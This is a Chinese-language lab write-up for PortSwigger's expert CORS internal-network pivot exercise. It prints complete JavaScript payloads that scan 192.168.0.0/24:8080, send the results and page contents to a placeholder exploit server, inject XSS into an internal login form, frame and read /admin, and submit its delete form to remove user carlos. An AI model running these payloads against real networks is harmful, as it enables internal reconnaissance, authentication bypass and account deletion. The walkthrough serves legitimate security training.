专家-CORS漏洞-内网枢纽攻击
# 实验室:CORS漏洞-内网枢纽攻击
# 题目
该网站具有不安全的 CORS 配置,因为它信任所有内部网络源。
此实验室需要多个步骤才能完成。若要解决实验室问题,请编写一些 JavaScript 来查找本地网络(192.168.0.0/24
,端口8080
)上的端点,然后可以使用该端点来识别和创建基于 CORS 的攻击以删除用户。当你删除用户carlos
时,该实验就解决了。
笔记
为了防止学院平台被用来攻击第三方,我们的防火墙阻止了实验室与任何外部系统之间的交互。要解决实验室问题,必须使用 实验室中提供的漏洞利用服务器 或 Burp Collaborator 的默认公共服务器。
- name: 实验室-专家
desc: CORS漏洞-内网枢纽攻击 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6
# 实操
不愧是专家级别......
感觉是最难的实验室之一......
点击 “ACCESS THE LAB” 进入实验室。
一个购物站点。
# 内网端点探测
我们需要编写一段用于扫描192.168.0.0:8080/24
网段的 JavaScript,经过我的测试,以下两段代码都可以实现该需求:
这是通过XMLHttpRequest()
实现的扫描代码:
<script>
var xhr = new XMLHttpRequest();
xhr.onload = reqListener;
for (var i = 1; i <= 255; i++) {
var url = 'http://192.168.0.' + i + ':8080';
try {
xhr.open('GET', url, false);
xhr.send();
} catch (error) {}
}
function reqListener() {
if (this.status == 200) {
fetch('http://<漏洞利用服务器>/log?data='+encodeURIComponent(this.responseURL));
}
}
</script>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
这是通过fetch()
实现的,相比之下更加简洁。
<script>
for (var i = 1; i <= 255; i++) {
var url = 'http://192.168.0.' + i + ':8080';
try {
fetch(url).then((data) => {fetch('http://<漏洞利用服务器>/log?data='+encodeURIComponent(data.url))});
} catch (error) {}
}
</script>
2
3
4
5
6
7
8
以上代码的原理不再赘述,任选其一并保存到漏洞利用服务器上,然后发送给受害用户。
等待一会儿后,在日志记录中可以看到返回的端点为http://<内网端点>:8080/login
,该地址就是我们的目标。
# 发现内网端点的XSS漏洞
编写以下载荷,尝试访问该端点并获取其 HTML 响应:
<script>
var xhr = new XMLHttpRequest();
xhr.onload = reqListener;
xhr.open('GET', 'http://<内网端点>:8080/login', false);
xhr.send();
function reqListener() {
fetch('http://<漏洞利用服务器>/log?data='+encodeURIComponent(this.responseText)+'&'+encodeURIComponent(this.getAllResponseHeaders()));
}
</script>
2
3
4
5
6
7
8
9
10
11
接收成功,复制它。
丢到 BurpSuite 中进行解码,复制解码之后的所有内容。
你可以找个.html
文件来放置解码后的内容,这样看得更加直观。
可以看到该端点有一个登录表单。
经过测试,发现该表单具有参数预填充,同时存在 XSS 漏洞。
<script>
var xhr = new XMLHttpRequest();
xhr.onload = reqListener;
xhr.open('GET', 'http://<内网端点>:8080/login?username=abc"><img src=1 onerror=alert(5)>//', false);
xhr.send();
function reqListener() {
fetch('http://<漏洞利用服务器>/log?data='+encodeURIComponent(this.responseText)+'&'+encodeURIComponent(this.getAllResponseHeaders()));
}
</script>
2
3
4
5
6
7
8
9
10
11
# 发现内网端点的管理界面
在该端点的/admin
路径下存在一个管理界面,但是需要登录。
<script>
var xhr = new XMLHttpRequest();
xhr.onload = reqListener;
xhr.open('GET', 'http://<内网端点>:8080/admin', false);
xhr.send();
function reqListener() {
fetch('http://<漏洞利用服务器>/log?data='+encodeURIComponent(this.responseText)+'&'+encodeURIComponent(this.getAllResponseHeaders()));
}
</script>
2
3
4
5
6
7
8
9
10
11
然后我大脑就死机了,不知道咋办。卡了好久好久......(我是fw)
然后我看了答案,发现是这样做的:
- 向内网端点的
username
参数注入一个 XSS 载荷 - 该载荷通过
iframe
标签实现,框柱了/admin
页面,可以在不登录的情况下直接访问管理界面 - 使用
onload
事件生成一个img
标签,将其src
属性设置为攻击域的地址,并通过this.contentWindow.document.body.innerHTML
获取被框柱页面的 HTML 响应,然后将其传递给攻击域
<script>
window.location = 'http://<内网端点>:8080/login?username='+encodeURIComponent('"><iframe src=/admin onload="new Image().src=\'http://<漏洞利用服务器>/?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
</script>
2
3
通过以上载荷,可以绕过/admin
的身份验证机制。
可以看到在管理界面中存在一个表单,表单实现的是删除功能,将username
和csrf
参数传递给接口/admin/delete
。
# 删除账户
我尝试直接访问接口/admin/delete?username=carlos
以删除 carlos 用户,但是失败了,必须要csrf
参数。
我想先访问一次/admin
页面,从响应中获取 csrf token 后再请求/admin/delete
接口,但是需要多个iframe
载荷的嵌套,好麻烦。
答案中是这样解决的:
访问管理界面之后,直接填充现有的表单,然后提交表单......(我咋没想到呢?小脑萎缩了,我是废物)
<script>
window.location = 'http://<内网端点>:8080/login?username='+encodeURIComponent('"><iframe src=/admin onload="var form=this.contentWindow.document.forms[0];form.username.value=\'carlos\';form.submit()">');
</script>
2
3
发送以上载荷给受害用户,实验完成。
这一次的专家题目只有很短的记录......
下次再战!
# 再战
2024.03 再战该实验室。
- 发现机制更新了,之前可以在漏洞利用服务器的 URL 中包含无限长的
GET
传参 - 但这次不行了,URL 长度超出限制就发不出请求了